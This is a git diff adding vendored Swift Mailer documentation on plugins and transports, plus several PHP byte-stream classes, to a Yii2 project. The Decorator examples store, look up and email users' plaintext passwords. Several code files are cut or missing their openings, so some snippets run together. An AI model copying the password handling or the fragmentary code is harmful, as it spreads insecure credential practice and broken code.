``Swift_Plugins_LoggerPlugin`` class, passing the + created Logger instance to its constructor. + +* Register the plugin using the Mailer's ``registerPlugin()`` method. + +* Continue using Swift Mailer to send messages as normal. + +* Dump the contents of the log with the logger's ``dump()`` method. + +When Swift Mailer sends messages it will keep a log of all the interactions +with the underlying Transport being used. Depending upon the Logger that has +been used the behaviour will differ, but all implementations offer a way to +get the contents of the log. + +.. code-block:: php + + require_once 'lib/swift_required.php'; + + // Create the Mailer using any Transport + $mailer = Swift_Mailer::newInstance( + Swift_SmtpTransport::newInstance('smtp.example.org', 25) + ); + + // To use the ArrayLogger + $logger = new Swift_Plugins_Loggers_ArrayLogger(); + $mailer->registerPlugin(new Swift_Plugins_LoggerPlugin($logger)); + + // Or to use the Echo Logger + $logger = new Swift_Plugins_Loggers_EchoLogger(); + $mailer->registerPlugin(new Swift_Plugins_LoggerPlugin($logger)); + + // Continue sending as normal + for ($lotsOfRecipients as $recipient) { + ... + + $mailer->send( ... ); + } + + // Dump the log contents + // NOTE: The EchoLogger dumps in realtime so dump() does nothing for it + echo $logger->dump(); + +Decorator Plugin +---------------- + +Often there's a need to send the same message to multiple recipients, but with +tiny variations such as the recipient's name being used inside the message +body. The Decorator plugin aims to provide a solution for allowing these small +differences. + +The decorator plugin works by intercepting the sending process of Swift +Mailer, reading the email address in the To: field and then looking up a set +of replacements for a template. + +While the use of this plugin is simple, it is probably the most commonly +misunderstood plugin due to the way in which it works. The typical mistake +users make is to try registering the plugin multiple times (once for each +recipient) -- inside a loop for example. This is incorrect. + +The Decorator plugin should be registered just once, but containing the list +of all recipients prior to sending. It will use this list of recipients to +find the required replacements during sending. + +Using the Decorator Plugin +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +To use the Decorator plugin, simply create an associative array of replacements +based on email addresses and then use the mailer's ``registerPlugin()`` method +to add the plugin. + +First create an associative array of replacements based on the email addresses +you'll be sending the message to. + +.. note:: + + The replacements array becomes a 2-dimensional array whose keys are the + email addresses and whose values are an associative array of replacements + for that email address. The curly braces used in this example can be any + type of syntax you choose, provided they match the placeholders in your + email template. + + .. code-block:: php + + $replacements = array(); + foreach ($users as $user) { + $replacements[$user['email']] = array( + '{username}'=>$user['username'], + '{password}'=>$user['password'] + ); + } + +Now create an instance of the Decorator plugin using this array of replacements +and then register it with the Mailer. Do this only once! + +.. code-block:: php + + $decorator = new Swift_Plugins_DecoratorPlugin($replacements); + + $mailer->registerPlugin($decorator); + +When you create your message, replace elements in the body (and/or the subject +line) with your placeholders. + +.. code-block:: php + + $message = Swift_Message::newInstance() + ->setSubject('Important notice for {username}') + ->setBody( + "Hello {username}, we have reset your password to {password}\n" . + "Please log in and change it at your earliest convenience." + ) + ; + + foreach ($users as $user) { + $message->addTo($user['email']); + } + +When you send this message to each of your recipients listed in your +``$replacements`` array they will receive a message customized for just +themselves. For example, the message used above when received may appear like +this to one user: + +.. code-block:: text + + Subject: Important notice for smilingsunshine2009 + + Hello smilingsunshine2009, we have reset your password to rainyDays + Please log in and change it at your earliest convenience. + +While another use may receive the message as: + +.. code-block:: text + + Subject: Important notice for billy-bo-bob + + Hello billy-bo-bob, we have reset your password to dancingOctopus + Please log in and change it at your earliest convenience. + +While the decorator plugin provides a means to solve this problem, there are +various ways you could tackle this problem without the need for a plugin. +We're trying to come up with a better way ourselves and while we have several +(obvious) ideas we don't quite have the perfect solution to go ahead and +implement it. Watch this space. + +Providing Your Own Replacements Lookup for the Decorator +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Filling an array with replacements may not be the best solution for providing +replacement information to the decorator. If you have a more elegant algorithm +that performs replacement lookups on-the-fly you may provide your own +implementation. + +Providing your own replacements lookup implementation for the Decorator is +simply a matter of passing an instance of ``Swift_Plugins_Decorator_Replacements`` to the decorator plugin's constructor, +rather than passing in an array. + +The Replacements interface is very simple to implement since it has just one +method: ``getReplacementsFor($address)``. + +Imagine you want to look up replacements from a database on-the-fly, you might +provide an implementation that does this. You need to create a small class. + +.. code-block:: php + + class DbReplacements implements Swift_Plugins_Decorator_Replacements { + public function getReplacementsFor($address) { + $sql = sprintf( + "SELECT * FROM user WHERE email = '%s'", + mysql_real_escape_string($address) + ); + + $result = mysql_query($sql); + + if ($row = mysql_fetch_assoc($result)) { + return array( + '{username}'=>$row['username'], + '{password}'=>$row['password'] + ); + } + } + } + +Now all you need to do is pass an instance of your class into the Decorator +plugin's constructor instead of passing an array. + +.. code-block:: php + + $decorator = new Swift_Plugins_DecoratorPlugin(new DbReplacements()); + + $mailer->registerPlugin($decorator); + +For each message sent, the plugin will call your class' ``getReplacementsFor()`` +method to find the array of replacements it needs. + +.. note:: + + If your lookup algorithm is case sensitive, you should transform the + ``$address`` argument as appropriate -- for example by passing it + through ``strtolower()``. diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/sending.rst b/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/sending.rst new file mode 100644 index 00000000..3e9c3a8d --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/sending.rst @@ -0,0 +1,607 @@ +Sending Messages +================ + +Quick Reference for Sending a Message +------------------------------------- + +Sending a message is very straightforward. You create a Transport, use it to +create the Mailer, then you use the Mailer to send the message. + +To send a Message: + +* Create a Transport from one of the provided Transports -- + ``Swift_SmtpTransport``, ``Swift_SendmailTransport``, ``Swift_MailTransport`` + or one of the aggregate Transports. + +* Create an instance of the ``Swift_Mailer`` class, using the Transport as + it's constructor parameter. + +* Create a Message. + +* Send the message via the ``send()`` method on the Mailer object. + +.. caution:: + + The ``Swift_SmtpTransport`` and ``Swift_SendmailTransport`` transports use + ``proc_*`` PHP functions, which might not be available on your PHP + installation. You can easily check if that's the case by running the + following PHP script: ``setUsername('your username') + ->setPassword('your password') + ; + + /* + You could alternatively use a different transport such as Sendmail or Mail: + + // Sendmail + $transport = Swift_SendmailTransport::newInstance('/usr/sbin/sendmail -bs'); + + // Mail + $transport = Swift_MailTransport::newInstance(); + */ + + // Create the Mailer using your created Transport + $mailer = Swift_Mailer::newInstance($transport); + + // Create a message + $message = Swift_Message::newInstance('Wonderful Subject') + ->setFrom(array('john@doe.com' => 'John Doe')) + ->setTo(array('receiver@domain.org', 'other@domain.org' => 'A name')) + ->setBody('Here is the message itself') + ; + + // Send the message + $result = $mailer->send($message); + +Transport Types +~~~~~~~~~~~~~~~ + +A Transport is the component which actually does the sending. You need to +provide a Transport object to the Mailer class and there are several possible +options. + +Typically you will not need to know how a Transport works under-the-surface, +you will only need to know how to create an instance of one, and which one to +use for your environment. + +The SMTP Transport +.................. + +The SMTP Transport sends messages over the (standardized) Simple Message +Transfer Protocol. It can deal with encryption and authentication. + +The SMTP Transport, ``Swift_SmtpTransport`` is without doubt the most commonly +used Transport because it will work on 99% of web servers (I just made that +number up, but you get the idea). All the server needs is the ability to +connect to a remote (or even local) SMTP server on the correct port number +(usually 25). + +SMTP servers often require users to authenticate with a username and password +before any mail can be sent to other domains. This is easily achieved using +Swift Mailer with the SMTP Transport. + +SMTP is a protocol -- in other words it's a "way" of communicating a job +to be done (i.e. sending a message). The SMTP protocol is the fundamental +basis on which messages are delivered all over the internet 7 days a week, 365 +days a year. For this reason it's the most "direct" method of sending messages +you can use and it's the one that will give you the most power and feedback +(such as delivery failures) when using Swift Mailer. + +Because SMTP is generally run as a remote service (i.e. you connect to it over +the network/internet) it's extremely portable from server-to-server. You can +easily store the SMTP server address and port number in a configuration file +within your application and adjust the settings accordingly if the code is +moved or if the SMTP server is changed. + +Some SMTP servers -- Google for example -- use encryption for security reasons. +Swift Mailer supports using both SSL and TLS encryption settings. + +Using the SMTP Transport +^^^^^^^^^^^^^^^^^^^^^^^^ + +The SMTP Transport is easy to use. Most configuration options can be set with +the constructor. + +To use the SMTP Transport you need to know which SMTP server your code needs +to connect to. Ask your web host if you're not sure. Lots of people ask me who +to connect to -- I really can't answer that since it's a setting that's +extremely specific to your hosting environment. + +To use the SMTP Transport: + +* Call ``Swift_SmtpTransport::newInstance()`` with the SMTP server name and + optionally with a port number (defaults to 25). + +* Use the returned object to create the Mailer. + +A connection to the SMTP server will be established upon the first call to +``send()``. + +.. code-block:: php + + require_once 'lib/swift_required.php'; + + // Create the Transport + $transport = Swift_SmtpTransport::newInstance('smtp.example.org', 25); + + // Create the Mailer using your created Transport + $mailer = Swift_Mailer::newInstance($transport); + + /* + It's also possible to use multiple method calls + + $transport = Swift_SmtpTransport::newInstance() + ->setHost('smtp.example.org') + ->setPort(25) + ; + */ + +Encrypted SMTP +^^^^^^^^^^^^^^ + +You can use SSL or TLS encryption with the SMTP Transport by specifying it as +a parameter or with a method call. + +To use encryption with the SMTP Transport: + +* Pass the encryption setting as a third parameter to + ``Swift_SmtpTransport::newInstance()``; or + +* Call the ``setEncryption()`` method on the Transport. + +A connection to the SMTP server will be established upon the first call to +``send()``. The connection will be initiated with the correct encryption +settings. + +.. note:: + + For SSL or TLS encryption to work your PHP installation must have + appropriate OpenSSL transports wrappers. You can check if "tls" and/or + "ssl" are present in your PHP installation by using the PHP function + ``stream_get_transports()`` + + .. code-block:: php + + require_once 'lib/swift_required.php'; + + // Create the Transport + $transport = Swift_SmtpTransport::newInstance('smtp.example.org', 587, 'ssl'); + + // Create the Mailer using your created Transport + $mailer = Swift_Mailer::newInstance($transport); + + /* + It's also possible to use multiple method calls + + $transport = Swift_SmtpTransport::newInstance() + ->setHost('smtp.example.org') + ->setPort(587) + ->setEncryption('ssl') + ; + */ + +SMTP with a Username and Password +^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + +Some servers require authentication. You can provide a username and password +with ``setUsername()`` and ``setPassword()`` methods. + +To use a username and password with the SMTP Transport: + +* Create the Transport with ``Swift_SmtpTransport::newInstance()``. + +* Call the ``setUsername()`` and ``setPassword()`` methods on the Transport. + +Your username and password will be used to authenticate upon first connect +when ``send()`` are first used on the Mailer. + +If authentication fails, an Exception of type ``Swift_TransportException`` will +be thrown. + +.. note:: + + If you need to know early whether or not authentication has failed and an + Exception is going to be thrown, call the ``start()`` method on the + created Transport. + + .. code-block:: php + + require_once 'lib/swift_required.php'; + + // Create the Transport the call setUsername() and setPassword() + $transport = Swift_SmtpTransport::newInstance('smtp.example.org', 25) + ->setUsername('username') + ->setPassword('password') + ; + + // Create the Mailer using your created Transport + $mailer = Swift_Mailer::newInstance($transport); + +The Sendmail Transport +...................... + +The Sendmail Transport sends messages by communicating with a locally +installed MTA -- such as ``sendmail``. + +The Sendmail Transport, ``Swift_SendmailTransport`` does not directly connect to +any remote services. It is designed for Linux servers that have ``sendmail`` +installed. The Transport starts a local ``sendmail`` process and sends messages +to it. Usually the ``sendmail`` process will respond quickly as it spools your +messages to disk before sending them. + +The Transport is named the Sendmail Transport for historical reasons +(``sendmail`` was the "standard" UNIX tool for sending e-mail for years). It +will send messages using other transfer agents such as Exim or Postfix despite +its name, provided they have the relevant sendmail wrappers so that they can be +started with the correct command-line flags. + +It's a common misconception that because the Sendmail Transport returns a +result very quickly it must therefore deliver messages to recipients quickly +-- this is not true. It's not slow by any means, but it's certainly not +faster than SMTP when it comes to getting messages to the intended recipients. +This is because sendmail itself sends the messages over SMTP once they have +been quickly spooled to disk. + +The Sendmail Transport has the potential to be just as smart of the SMTP +Transport when it comes to notifying Swift Mailer about which recipients were +rejected, but in reality the majority of locally installed ``sendmail`` +instances are not configured well enough to provide any useful feedback. As such +Swift Mailer may report successful deliveries where they did in fact fail before +they even left your server. + +You can run the Sendmail Transport in two different modes specified by command +line flags: + +* "``-bs``" runs in SMTP mode so theoretically it will act like the SMTP + Transport + +* "``-t``" runs in piped mode with no feedback, but theoretically faster, + though not advised + +You can think of the Sendmail Transport as a sort of asynchronous SMTP Transport +-- though if you have problems with delivery failures you should try using the +SMTP Transport instead. Swift Mailer isn't doing the work here, it's simply +passing the work to somebody else (i.e. ``sendmail``). + +Using the Sendmail Transport +^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + +To use the Sendmail Transport you simply need to call +``Swift_SendmailTransport::newInstance()`` with the command as a parameter. + +To use the Sendmail Transport you need to know where ``sendmail`` or another MTA +exists on the server. Swift Mailer uses a default value of +``/usr/sbin/sendmail``, which should work on most systems. + +You specify the entire command as a parameter (i.e. including the command line +flags). Swift Mailer supports operational modes of "``-bs``" (default) and +"``-t``". + +.. note:: + + If you run sendmail in "``-t``" mode you will get no feedback as to whether + or not sending has succeeded. Use "``-bs``" unless you have a reason not to. + +To use the Sendmail Transport: + +* Call ``Swift_SendmailTransport::newInstance()`` with the command, including + the correct command line flags. The default is to use ``/usr/sbin/sendmail + -bs`` if this is not specified. + +* Use the returned object to create the Mailer. + +A sendmail process will be started upon the first call to ``send()``. If the +process cannot be started successfully an Exception of type +``Swift_TransportException`` will be thrown. + +.. code-block:: php + + require_once 'lib/swift_required.php'; + + // Create the Transport + $transport = Swift_SendmailTransport::newInstance('/usr/sbin/exim -bs'); + + // Create the Mailer using your created Transport + $mailer = Swift_Mailer::newInstance($transport); + +The Mail Transport +.................. + +The Mail Transport sends messages by delegating to PHP's internal +``mail()`` function. + +In my experience -- and others' -- the ``mail()`` function is not particularly +predictable, or helpful. + +Quite notably, the ``mail()`` function behaves entirely differently between +Linux and Windows servers. On linux it uses ``sendmail``, but on Windows it uses +SMTP. + +In order for the ``mail()`` function to even work at all ``php.ini`` needs to be +configured correctly, specifying the location of sendmail or of an SMTP server. + +The problem with ``mail()`` is that it "tries" to simplify things to the point +that it actually makes things more complex due to poor interface design. The +developers of Swift Mailer have gone to a lot of effort to make the Mail +Transport work with a reasonable degree of consistency. + +Serious drawbacks when using this Transport are: + +* Unpredictable message headers + +* Lack of feedback regarding delivery failures + +* Lack of support for several plugins that require real-time delivery feedback + +It's a last resort, and we say that with a passion! + +Using the Mail Transport +^^^^^^^^^^^^^^^^^^^^^^^^ + +To use the Mail Transport you simply need to call +``Swift_MailTransport::newInstance()``. It's unlikely you'll need to configure +the Transport. + +To use the Mail Transport: + +* Call ``Swift_MailTransport::newInstance()``. + +* Use the returned object to create the Mailer. + +Messages will be sent using the ``mail()`` function. + +.. note:: + + The ``mail()`` function can take a ``$additional_parameters`` parameter. + Swift Mailer sets this to "``-f%s``" by default, where the "%s" is + substituted with the address of the sender (via a ``sprintf()``) at send + time. You may override this default by passing an argument to + ``newInstance()``. + + .. code-block:: php + + require_once 'lib/swift_required.php'; + + // Create the Transport + $transport = Swift_MailTransport::newInstance(); + + // Create the Mailer using your created Transport + $mailer = Swift_Mailer::newInstance($transport); + +Available Methods for Sending Messages +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The Mailer class offers two methods for sending Messages -- ``send()``. +Each behaves in a slightly different way. + +When a message is sent in Swift Mailer, the Mailer class communicates with +whichever Transport class you have chosen to use. + +Each recipient in the message should either be accepted or rejected by the +Transport. For example, if the domain name on the email address is not +reachable the SMTP Transport may reject the address because it cannot process +it. Whichever method you use -- ``send()`` -- Swift Mailer will return +an integer indicating the number of accepted recipients. + +.. note:: + + It's possible to find out which recipients were rejected -- we'll cover that + later in this chapter. + +Using the ``send()`` Method +........................... + +The ``send()`` method of the ``Swift_Mailer`` class sends a message using +exactly the same logic as your Desktop mail client would use. Just pass it a +Message and get a result. + +To send a Message with ``send()``: + +* Create a Transport from one of the provided Transports -- + ``Swift_SmtpTransport``, ``Swift_SendmailTransport``, + ``Swift_MailTransport`` or one of the aggregate Transports. + +* Create an instance of the ``Swift_Mailer`` class, using the Transport as + it's constructor parameter. + +* Create a Message. + +* Send the message via the ``send()`` method on the Mailer object. + +The message will be sent just like it would be sent if you used your mail +client. An integer is returned which includes the number of successful +recipients. If none of the recipients could be sent to then zero will be +returned, which equates to a boolean ``false``. If you set two +``To:`` recipients and three ``Bcc:`` recipients in the message and all of the +recipients are delivered to successfully then the value 5 will be returned. + +.. code-block:: php + + require_once 'lib/swift_required.php'; + + // Create the Transport + $transport = Swift_SmtpTransport::newInstance('localhost', 25); + + // Create the Mailer using your created Transport + $mailer = Swift_Mailer::newInstance($transport); + + // Create a message + $message = Swift_Message::newInstance('Wonderful Subject') + ->setFrom(array('john@doe.com' => 'John Doe')) + ->setTo(array('receiver@domain.org', 'other@domain.org' => 'A name')) + ->setBody('Here is the message itself') + ; + + // Send the message + $numSent = $mailer->send($message); + + printf("Sent %d messages\n", $numSent); + + /* Note that often that only the boolean equivalent of the + return value is of concern (zero indicates FALSE) + + if ($mailer->send($message)) + { + echo "Sent\n"; + } + else + { + echo "Failed\n"; + } + + */ + +Sending Emails in Batch +....................... + +If you want to send a separate message to each recipient so that only their +own address shows up in the ``To:`` field, follow the following recipe: + +* Create a Transport from one of the provided Transports -- + ``Swift_SmtpTransport``, ``Swift_SendmailTransport``, + ``Swift_MailTransport`` or one of the aggregate Transports. + +* Create an instance of the ``Swift_Mailer`` class, using the Transport as + it's constructor parameter. + +* Create a Message. + +* Iterate over the recipients and send message via the ``send()`` method on + the Mailer object. + +Each recipient of the messages receives a different copy with only their own +email address on the ``To:`` field. + +Make sure to add only valid email addresses as recipients. If you try to add an +invalid email address with ``setTo()``, ``setCc()`` or ``setBcc()``, Swift +Mailer will throw a ``Swift_RfcComplianceException``. + +If you add recipients automatically based on a data source that may contain +invalid email addresses, you can prevent possible exceptions by validating the +addresses using ``Swift_Validate::email($email)`` and only adding addresses +that validate. Another way would be to wrap your ``setTo()``, ``setCc()`` and +``setBcc()`` calls in a try-catch block and handle the +``Swift_RfcComplianceException`` in the catch block. + +Handling invalid addresses properly is especially important when sending emails +in large batches since a single invalid address might cause an unhandled +exception and stop the execution or your script early. + +.. note:: + + In the following example, two emails are sent. One to each of + ``receiver@domain.org`` and ``other@domain.org``. These recipients will + not be aware of each other. + + .. code-block:: php + + require_once 'lib/swift_required.php'; + + // Create the Transport + $transport = Swift_SmtpTransport::newInstance('localhost', 25); + + // Create the Mailer using your created Transport + $mailer = Swift_Mailer::newInstance($transport); + + // Create a message + $message = Swift_Message::newInstance('Wonderful Subject') + ->setFrom(array('john@doe.com' => 'John Doe')) + ->setBody('Here is the message itself') + ; + + // Send the message + $failedRecipients = array(); + $numSent = 0; + $to = array('receiver@domain.org', 'other@domain.org' => 'A name'); + + foreach ($to as $address => $name) + { + if (is_int($address)) { + $message->setTo($name); + } else { + $message->setTo(array($address => $name)); + } + + $numSent += $mailer->send($message, $failedRecipients); + } + + printf("Sent %d messages\n", $numSent); + +Finding out Rejected Addresses +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +It's possible to get a list of addresses that were rejected by the Transport +by using a by-reference parameter to ``send()``. + +As Swift Mailer attempts to send the message to each address given to it, if a +recipient is rejected it will be added to the array. You can pass an existing +array, otherwise one will be created by-reference. + +Collecting the list of recipients that were rejected can be useful in +circumstances where you need to "prune" a mailing list for example when some +addresses cannot be delivered to. + +Getting Failures By-reference +............................. + +Collecting delivery failures by-reference with the ``send()`` method is as +simple as passing a variable name to the method call. + +To get failed recipients by-reference: + +* Pass a by-reference variable name to the ``send()`` method of the Mailer + class. + +If the Transport rejects any of the recipients, the culprit addresses will be +added to the array provided by-reference. + +.. note:: + + If the variable name does not yet exist, it will be initialized as an + empty array and then failures will be added to that array. If the variable + already exists it will be type-cast to an array and failures will be added + to it. + + .. code-block:: php + + $mailer = Swift_Mailer::newInstance( ... ); + + $message = Swift_Message::newInstance( ... ) + ->setFrom( ... ) + ->setTo(array( + 'receiver@bad-domain.org' => 'Receiver Name', + 'other@domain.org' => 'A name', + 'other-receiver@bad-domain.org' => 'Other Name' + )) + ->setBody( ... ) + ; + + // Pass a variable name to the send() method + if (!$mailer->send($message, $failures)) + { + echo "Failures:"; + print_r($failures); + } + + /* + Failures: + Array ( + 0 => receiver@bad-domain.org, + 1 => other-receiver@bad-domain.org + ) + */ diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/uml/Encoders.graffle b/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/uml/Encoders.graffle new file mode 100644 index 00000000..f895752b Binary files /dev/null and b/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/uml/Encoders.graffle differ diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/uml/Mime.graffle b/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/uml/Mime.graffle new file mode 100644 index 00000000..e1e33cbf Binary files /dev/null and b/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/uml/Mime.graffle differ diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/uml/Transports.graffle b/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/uml/Transports.graffle new file mode 100644 index 00000000..5670e2b6 Binary files /dev/null and b/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/uml/Transports.graffle differ diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift.php new file mode 100644 index 00000000..729b9bb2 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift.php @@ -0,0 +1,80 @@ +createDependenciesFor('mime.attachment') + ); + + $this->setBody($data); + $this->setFilename($filename); + if ($contentType) { + $this->setContentType($contentType); + } + } + + /** + * Create a new Attachment. + * + * @param string|Swift_OutputByteStream $data + * @param string $filename + * @param string $contentType + * + * @return Swift_Mime_Attachment + */ + public static function newInstance($data = null, $filename = null, $contentType = null) + { + return new self($data, $filename, $contentType); + } + + /** + * Create a new Attachment from a filesystem path. + * + * @param string $path + * @param string $contentType optional + * + * @return Swift_Mime_Attachment + */ + public static function fromPath($path, $contentType = null) + { + return self::newInstance()->setFile( + new Swift_ByteStream_FileByteStream($path), + $contentType + ); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/AbstractFilterableInputStream.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/AbstractFilterableInputStream.php new file mode 100644 index 00000000..3e597d17 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/AbstractFilterableInputStream.php @@ -0,0 +1,179 @@ +_filters[$key] = $filter; + } + + /** + * Remove an already present StreamFilter based on its $key. + * + * @param string $key + */ + public function removeFilter($key) + { + unset($this->_filters[$key]); + } + + /** + * Writes $bytes to the end of the stream. + * + * @param string $bytes + * + * @return int + * + * @throws Swift_IoException + */ + public function write($bytes) + { + $this->_writeBuffer .= $bytes; + foreach ($this->_filters as $filter) { + if ($filter->shouldBuffer($this->_writeBuffer)) { + return; + } + } + $this->_doWrite($this->_writeBuffer); + + return ++$this->_sequence; + } + + /** + * For any bytes that are currently buffered inside the stream, force them + * off the buffer. + * + * @throws Swift_IoException + */ + public function commit() + { + $this->_doWrite($this->_writeBuffer); + } + + /** + * Attach $is to this stream. + * + * The stream acts as an observer, receiving all data that is written. + * All {@link write()} and {@link flushBuffers()} operations will be mirrored. + * + * @param Swift_InputByteStream $is + */ + public function bind(Swift_InputByteStream $is) + { + $this->_mirrors[] = $is; + } + + /** + * Remove an already bound stream. + * + * If $is is not bound, no errors will be raised. + * If the stream currently has any buffered data it will be written to $is + * before unbinding occurs. + * + * @param Swift_InputByteStream $is + */ + public function unbind(Swift_InputByteStream $is) + { + foreach ($this->_mirrors as $k => $stream) { + if ($is === $stream) { + if ($this->_writeBuffer !== '') { + $stream->write($this->_writeBuffer); + } + unset($this->_mirrors[$k]); + } + } + } + + /** + * Flush the contents of the stream (empty it) and set the internal pointer + * to the beginning. + * + * @throws Swift_IoException + */ + public function flushBuffers() + { + if ($this->_writeBuffer !== '') { + $this->_doWrite($this->_writeBuffer); + } + $this->_flush(); + + foreach ($this->_mirrors as $stream) { + $stream->flushBuffers(); + } + } + + /** Run $bytes through all filters */ + private function _filter($bytes) + { + foreach ($this->_filters as $filter) { + $bytes = $filter->filter($bytes); + } + + return $bytes; + } + + /** Just write the bytes to the stream */ + private function _doWrite($bytes) + { + $this->_commit($this->_filter($bytes)); + + foreach ($this->_mirrors as $stream) { + $stream->write($bytes); + } + + $this->_writeBuffer = ''; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/ArrayByteStream.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/ArrayByteStream.php new file mode 100644 index 00000000..186a7c28 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/ArrayByteStream.php @@ -0,0 +1,184 @@ +_array = $stack; + $this->_arraySize = count($stack); + } elseif (is_string($stack)) { + $this->write($stack); + } else { + $this->_array = array(); + } + } + + /** + * Reads $length bytes from the stream into a string and moves the pointer + * through the stream by $length. + * + * If less bytes exist than are requested the + * remaining bytes are given instead. If no bytes are remaining at all, boolean + * false is returned. + * + * @param int $length + * + * @return string + */ + public function read($length) + { + if ($this->_offset == $this->_arraySize) { + return false; + } + + // Don't use array slice + $end = $length + $this->_offset; + $end = $this->_arraySize<$end + ? $this->_arraySize + : $end; + $ret = ''; + for (; $this->_offset < $end; ++$this->_offset) { + $ret .= $this->_array[$this->_offset]; + } + + return $ret; + } + + /** + * Writes $bytes to the end of the stream. + * + * @param string $bytes + */ + public function write($bytes) + { + $to_add = str_split($bytes); + foreach ($to_add as $value) { + $this->_array[] = $value; + } + $this->_arraySize = count($this->_array); + + foreach ($this->_mirrors as $stream) { + $stream->write($bytes); + } + } + + /** + * Not used. + */ + public function commit() + { + } + + /** + * Attach $is to this stream. + * + * The stream acts as an observer, receiving all data that is written. + * All {@link write()} and {@link flushBuffers()} operations will be mirrored. + * + * @param Swift_InputByteStream $is + */ + public function bind(Swift_InputByteStream $is) + { + $this->_mirrors[] = $is; + } + + /** + * Remove an already bound stream. + * + * If $is is not bound, no errors will be raised. + * If the stream currently has any buffered data it will be written to $is + * before unbinding occurs. + * + * @param Swift_InputByteStream $is + */ + public function unbind(Swift_InputByteStream $is) + { + foreach ($this->_mirrors as $k => $stream) { + if ($is === $stream) { + unset($this->_mirrors[$k]); + } + } + } + + /** + * Move the internal read pointer to $byteOffset in the stream. + * + * @param int $byteOffset + * + * @return bool + */ + public function setReadPointer($byteOffset) + { + if ($byteOffset > $this->_arraySize) { + $byteOffset = $this->_arraySize; + } elseif ($byteOffset < 0) { + $byteOffset = 0; + } + + $this->_offset = $byteOffset; + } + + /** + * Flush the contents of the stream (empty it) and set the internal pointer + * to the beginning. + */ + public function flushBuffers() + { + $this->_offset = 0; + $this->_array = array(); + $this->_arraySize = 0; + + foreach ($this->_mirrors as $stream) { + $stream->flushBuffers(); + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/FileByteStream.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/FileByteStream.php new file mode 100644 index 00000000..6c144623 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/FileByteStream.php @@ -0,0 +1,229 @@ +_path = $path; + $this->_mode = $writable ? 'w+b' : 'rb'; + + if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) { + $this->_quotes = true; + } + } + + /** + * Get the complete path to the file. + * + * @return string + */ + public function getPath() + { + return $this->_path; + } + + /** + * Reads $length bytes from the stream into a string and moves the pointer + * through the stream by $length. + * + * If less bytes exist than are requested the + * remaining bytes are given instead. If no bytes are remaining at all, boolean + * false is returned. + * + * @param int $length + * + * @return string|bool + * + * @throws Swift_IoException + */ + public function read($length) + { + $fp = $this->_getReadHandle(); + if (!feof($fp)) { + if ($this->_quotes) { + ini_set('magic_quotes_runtime', 0); + } + $bytes = fread($fp, $length); + if ($this->_quotes) { + ini_set('magic_quotes_runtime', 1); + } + $this->_offset = ftell($fp); + + // If we read one byte after reaching the end of the file + // feof() will return false and an empty string is returned + if ($bytes === '' && feof($fp)) { + $this->_resetReadHandle(); + + return false; + } + + return $bytes; + } + + $this->_resetReadHandle(); + + return false; + } + + /** + * Move the internal read pointer to $byteOffset in the stream. + * + * @param int $byteOffset + * + * @return bool + */ + public function setReadPointer($byteOffset) + { + if (isset($this->_reader)) { + $this->_seekReadStreamToPosition($byteOffset); + } + $this->_offset = $byteOffset; + } + + /** Just write the bytes to the file */ + protected function _commit($bytes) + { + fwrite($this->_getWriteHandle(), $bytes); + $this->_resetReadHandle(); + } + + /** Not used */ + protected function _flush() + { + } + + /** Get the resource for reading */ + private function _getReadHandle() + { + if (!isset($this->_reader)) { + if (!$this->_reader = fopen($this->_path, 'rb')) { + throw new Swift_IoException( + 'Unable to open file for reading ['.$this->_path.']' + ); + } + if ($this->_offset != 0) { + $this->_getReadStreamSeekableStatus(); + $this->_seekReadStreamToPosition($this->_offset); + } + } + + return $this->_reader; + } + + /** Get the resource for writing */ + private function _getWriteHandle() + { + if (!isset($this->_writer)) { + if (!$this->_writer = fopen($this->_path, $this->_mode)) { + throw new Swift_IoException( + 'Unable to open file for writing ['.$this->_path.']' + ); + } + } + + return $this->_writer; + } + + /** Force a reload of the resource for reading */ + private function _resetReadHandle() + { + if (isset($this->_reader)) { + fclose($this->_reader); + $this->_reader = null; + } + } + + /** Check if ReadOnly Stream is seekable */ + private function _getReadStreamSeekableStatus() + { + $metas = stream_get_meta_data($this->_reader); + $this->_seekable = $metas['seekable']; + } + + /** Streams in a readOnly stream ensuring copy if needed */ + private function _seekReadStreamToPosition($offset) + { + if ($this->_seekable === null) { + $this->_getReadStreamSeekableStatus(); + } + if ($this->_seekable === false) { + $currentPos = ftell($this->_reader); + if 